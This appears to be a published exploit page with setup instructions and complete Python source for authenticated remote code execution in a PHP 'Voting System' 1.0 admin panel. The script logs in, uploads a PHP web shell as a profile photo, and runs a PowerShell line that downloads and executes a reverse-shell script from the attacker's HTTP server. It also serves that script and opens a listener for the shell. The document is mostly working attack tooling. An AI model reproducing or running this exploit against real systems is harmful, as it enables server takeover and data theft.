RCE via File Upload

PRIMARY CATEGORY → VOTING SYSTEM

CVE 💥 → None

Application/Framework ⚔️ → Voting System

Attack Vector 🗡️ → Authenticated Remote Code Execution via Arbitrary File Upload

Affected Versions 🚨 → 1.0

Severity 🚩 → Unknown

---

Setup

python3 -m venv ./venv
source ./venv/bin/activate

pip install -r ./requirements.txt

---

Usage

Help Display

python3 votingSystemRCE.py --help

Script Execution

python3 votingSystemRCE.py <ADMIN_PANEL_URL> <USER> <PASSWORD> <ATTACKER_IP> <ATTACKER_PORT> <HTTP_PORT>

Zoom In

---

Code

Reference

Exploit

#!/usr/bin/env python3
 
import requests
import signal
import sys
import os
import time
import argparse
import socket
import threading
import http.server
import socketserver
 
from pwn import *
from colorama import Fore, Style
 
def sigintHandler(sig: signal.Signals, frame: types.FrameType | None) -> None:
 
    """
    Function to handle SIGINT Signals
 
        - Print Information
        - Reset SIGINT Handler
        - Send a SIGINT Signal to the current Process instead of sys.exit()(WRONG!!)
    """
 
    print('\n')
    p = log.progress(Fore.CYAN + "Signal" + Style.RESET_ALL)
    p.status(Fore.MAGENTA + f"SIGINT Signal sent to {sys.argv[0]}. {Fore.RED}Exiting... ⌛" + Style.RESET_ALL)
 
    time.sleep(1)
 
    signal.signal(signal.SIGINT, signal.SIG_DFL)
 
    os.killpg(os.getpid(), signal.SIGINT)
 
def banner() -> str:
 
    return f'''{Fore.GREEN}
▗▖  ▗▖ ▄▄▄     ■  ▄ ▄▄▄▄    ▗▄▄▖▄   ▄  ▄▄▄  ■  ▗▞▀▚▖▄▄▄▄
▐▌  ▐▌█   █ ▗▄▟▙▄▖▄ █   █  ▐▌   █   █ ▀▄▄▗▄▟▙▄▖▐▛▀▀▘█ █ █
▐▌  ▐▌▀▄▄▄▀   ▐▌  █ █   █   ▝▀▚▖ ▀▀▀█ ▄▄▄▀ ▐▌  ▝▚▄▄▖█   █
 ▝▚▞▘         ▐▌  █     ▗▄▖▗▄▄▞▘▄   █      ▐▌
              ▐▌       ▐▌ ▐▌     ▀▀▀       ▐▌
                        ▝▀▜▌
                       ▐▙▄▞▘
         ▗▄▄▄▖▄   ▄ ▄▄▄▄  █  ▄▄▄  ▄    ■
         ▐▌    ▀▄▀  █   █ █ █   █ ▄ ▗▄▟▙▄▖
         ▐▛▀▀▘▄▀ ▀▄ █▄▄▄▀ █ ▀▄▄▄▀ █   ▐▌
         ▐▙▄▄▖      █     █       █   ▐▌
                    ▀                 ▐▌{Style.RESET_ALL}
    '''
 
def revShellWarning(ip: str, port: int) -> str:
 
    return f'''{Fore.MAGENTA}
[!] {Fore.RED}The Reverse Shell obtained is not associated with a stable TTY/PTY ❗
 
{Fore.MAGENTA}[+] {Fore.BLUE}Try to stablish another reverse connection using →
 
    {Fore.CYAN}[*] {Fore.MAGENTA}rlwrap -CaR nc -nlvp {port}
    '''
 
class Exploit:
 
    def __init__(self, url: str, user: str, password: str, ip: str, port: int, httpPort: int):
 
        self.url = url.rstrip('/')
        self.user = user
        self.password = password
        self.ip = ip
        self.port = port
        self.httpPort = httpPort
        self.file = 'cmd.php'
        self.payload = f'<?=`powershell.exe -Command IEX (IWR -UseBasicParsing -Uri http://{self.ip}:{self.httpPort}/rev.ps1)`?>'
        self.session = requests.Session()
 
    def _exceptionMessage(self, message: str) -> str:
 
        """
        Method for printing formatted error messages
        """
 
        log.failure(Fore.RED + message + Style.RESET_ALL)
 
    def doLogin(self) -> bool:
 
        """
        This method logs into the VotingSystem Admin Panel with the credentials provided
 
        URL -> http[s]://<IP_ADDRESS|HOSTNAME>/admin/login.php
 
        Post Fields -> { Username ~ Password ~ Login }
 
        """
 
        print()
        p = log.progress(Fore.CYAN + "Login" + Style.RESET_ALL)
        p.status(Fore.MAGENTA + "Logging into the Admin Panel... ⌛" + Style.RESET_ALL)
        time.sleep(1)
 
        login_url = self.url + '/admin/login.php'
 
        post_data = {
            'username' : self.user,
            'password' : self.password,
            'login' : ''
        }
 
        try:
            r = self.session.post(login_url, data=post_data)
 
            if "Dashboard" in r.text:
 
                p.success(Fore.GREEN + f"Login sucessfull as {self.user} using {self.password} ✔" + Style.RESET_ALL)
                return True
 
            else:
                p.failure(Fore.RED + f"Something went wrong trying to logging. Try with valid credentials" + Style.RESET_ALL)
                return False
 
        except requests.RequestException as e:
 
            self._exceptionMessage(f"Request Error: {e}")
            sys.exit(1)
 
    def payloadSetup(self, file) -> bool:
 
        """
        This method modifies the hardcoded IP:Port in rev.ps1 file to the ones specified as arguments
        in this script
 
        rev.ps1 is a powershell script which stablish a reverse connection to the specified IP:Port
 
        Ref -> [Nishang Reverse Shell TCP Port Oneliner](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1)
        """ 
 
        socket_pattern = r'\'\d{1,3}(\.\d{1,3}){3}\',\d{1,5}'
 
        socket = f'\'{self.ip}\',{self.port}'
 
        try:
            with open(file, 'r') as f:
 
                fcontent = f.read().strip('\n')
 
            rev_ps = re.sub(socket_pattern, socket, fcontent)
 
            if rev_ps:
 
                with open(file, 'w') as f:
 
                    f.write(rev_ps)
 
                    return True
            else:
                return False
 
        except FileNotFoundError:
 
            self._exceptionMessage("File Not Found")
            sys.exit(1)
 
        except Exception as e:
 
            self._exceptionMessage(f"Error: {e}")
            sys.exit(1)
 
    def uploadMaliciousFile(self) -> bool:
 
        """
        This method uploads a malicious file as the admin user profile in the Update Profile Section
 
        The malicious file is a PHP Script which contains a Powershell Oneliner. This oneliner makes an
        HTTP Request to the shared rev.ps1 file via a Simple HTTP Server
 
        Oneliner -> powershell.exe -Command IEX (IWR -UseBasicParsing -Uri http[s]://IP_ADDRESS:PORT/rev.ps1)
        """
 
        print()
        p = log.progress(Fore.CYAN + "Upload" + Style.RESET_ALL)
        p.status(Fore.MAGENTA + "Uploading the malicious file... ⌛" + Style.RESET_ALL)
        time.sleep(1)
 
        upload_url = self.url + '/admin/profile_update.php'
 
        post_data = {
            'username' : self.user,
            'password' : self.password,
            'firstname' : 'test',
            'lastname' : 'test',
            'curr_password' : self.password,
            'save': ''
        }
 
        file = { 'photo' : ( self.file, self.payload, 'application/x-php') }
 
        try:
            r = self.session.post(upload_url, data=post_data, files=file)
 
            if "Admin profile updated successfully" in r.text:
 
                p.success(Fore.GREEN + "Malicious File 💀 uploaded successfully ✔" + Style.RESET_ALL)
                return True
 
            else:
                p.failure(Fore.RED + "Could not upload the malicious file ❌" + Style.RESET_ALL)
                return False
 
        except requests.RequestException as e:
 
            self._exceptionMessage(f"Request Error: {e}")
            sys.exit(1)
 
    def setHTTPServer(self, port: int) -> None:
 
        """
        This method builds a Simple HTTP Server to share the rev.ps1 resource, which is requested by the
        uploaded PHP Script
        """
 
        class SilentHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
 
            def log_message(self, format, *args):
 
                return
 
        handler = SilentHTTPRequestHandler
        socketserver.TCPServer.allow_reuse_address = True
 
        with socketserver.TCPServer(("0.0.0.0", port), handler) as httpd:
 
            httpd.serve_forever()
 
    def setListener(self) -> None:
 
        """
        This method sets up a Listening Socket, using the provided IP:PORT, to receive the shell from the reverse connection
        generated on the target
        """
 
        print()
        p = log.progress(Fore.CYAN + "Socket" + Style.RESET_ALL)
        p.status(
            Fore.MAGENTA +
            f"Waiting for connections on {Fore.RED}{self.ip}:{self.port}{Fore.MAGENTA}... ⌛"
            + Style.RESET_ALL
        )
 
        time.sleep(1)
 
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 
                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                s.bind((self.ip, int(self.port)))
                s.listen(1)
 
                conn, addr = s.accept()
 
                p.status(Fore.GREEN + f"Connection received from {addr[0]}:{addr[1]}" + Style.RESET_ALL)
 
                print(revShellWarning(self.ip, self.port))
 
                print(Fore.RED + f'[+] {Fore.YELLOW}Press [Enter] to get the Reverse Shell' + Style.RESET_ALL)
                print(Fore.RED + f'\n[+] {Fore.YELLOW}Press C-c or type "exit" to quit the Shell\n' + Style.RESET_ALL)
 
                conn_in = conn.makefile('rb', buffering=0)
                conn_out = conn.makefile('wb', buffering=0)
 
                while True: 
 
                    cmd = input()
 
                    if cmd.lower() == 'exit':
 
                        p.failure(Fore.RED + "Exiting... ⌛" + Style.RESET_ALL)
                        time.sleep(1)
 
                        os.killpg(os.getpid(), signal.SIGINT)
 
                    conn_out.write((cmd + '\n').encode())
                    conn_out.flush()
                    time.sleep(1)
 
                    print(conn_in.read(4096).decode(), end='')
 
        except socket.error as e:
 
            self._exceptionMessage(f"Socket Error: {e}")
            sys.exit(1)
 
        except Exception as e:
 
            self._exceptionMessage(f"Error: {e}")
            sys.exit(1)
 
    def getReverseShell(self) -> None:
 
        """
        It requests the PHP Script uploaded via the Arbitrary File Upload vector in order to trigger the HTTP request made
        by this PHP Script
        """
 
        print()
        p = log.progress(Fore.CYAN + "Reverse Shell 🐉" + Style.RESET_ALL)
        p.status(Fore.MAGENTA + "Getting a Reverse Shell through the uploaded file... ⌛" + Style.RESET_ALL)
        time.sleep(1)
 
        uploaded_file_url = self.url + '/images/' + self.file
 
        try:
            r = self.session.get(uploaded_file_url)
 
            if r.status_code == 200:
 
                p.success(Fore.GREEN + "Shell sent correctly ✔" + Style.RESET_ALL) 
                return True
 
            else:
                p.failure(Fore.RED + "Something went wrong while sending the Shell ❌" + Style.RESET_ALL)
                return False
 
        except requests.RequestExcept as e:
 
            self._exceptionMessage(f"Request Error: {e}")
            sys.exit(1)
 
    def runExploit(self) -> None:
 
        """
        Method which executes the other instance methods
        """
 
        if not self.doLogin() or not self.payloadSetup('rev.ps1'):
 
            return False
 
        if self.uploadMaliciousFile():
 
            lthread1 = threading.Thread(target=self.setListener)
            lthread2 = threading.Thread(target=self.setHTTPServer, args=(self.httpPort,))
 
            lthread1.start()
            lthread2.start()
            time.sleep(1)
 
            self.getReverseShell()
 
            lthread1.join()
 
 
def main() -> None:
 
    print(banner())
 
    signal.signal(signal.SIGINT, sigintHandler)
 
    parser = argparse.ArgumentParser(
        description=Fore.MAGENTA + "Authenticated RCE via File Upload Profile in Voting System Application" + Style.RESET_ALL
    )
 
    parser.add_argument('url', metavar='admin_panel_url', help='Voting System URL e.g. http://<IP_ADDRESS>')
    parser.add_argument('user', metavar='user', help='Admin Panel User')
    parser.add_argument('passwd', metavar='password', help='Admin Panel Password')
    parser.add_argument('ip', metavar='attacker_ip', help='Attacker IP')
    parser.add_argument('port', metavar='attacker_port', type=int, help='Attacker Listening Port')
    parser.add_argument('httpPort', metavar='http_server_port', type=int, help='Simple HTTP Server\'s Port which hosts rev.ps1 payload')
 
    opts = parser.parse_args()
 
    exploit = Exploit(opts.url, opts.user, opts.passwd, opts.ip, opts.port, opts.httpPort)
 
    exploit.runExploit()
 
if __name__ == '__main__':
 
    main()